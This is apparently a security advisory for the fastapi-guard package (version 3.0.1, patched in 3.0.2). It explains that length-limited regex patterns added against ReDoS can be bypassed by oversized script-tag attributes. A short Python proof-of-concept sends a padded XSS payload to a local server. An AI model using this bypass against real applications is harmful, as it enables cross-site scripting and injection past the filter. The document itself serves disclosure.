| Package | Affected versions | Patched versions |
|---|---|---|
| fastapi-guard | ≥ 3.0.1, < 3.0.2 | 3.0.2 |
| fastapi guard | = 3.0.1 |
The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.
In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f
This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.
r"<script[^>]*>[^<]*<\\/script\\s*>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>
This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.
import requests
URL = "<http://localhost:8000>"
obvious_payload = {
"obvious" : "<script>alert(1);</script>"
}
response = requests.post(url=URL, json=obvious_payload)
print(f"[+] response of first request: {response.text}")
bypassed_payload = {
"suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>'
}
response = requests.post(url=URL, json=bypassed_payload)
print(f"[+] response of second request: {response.text}")
Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.
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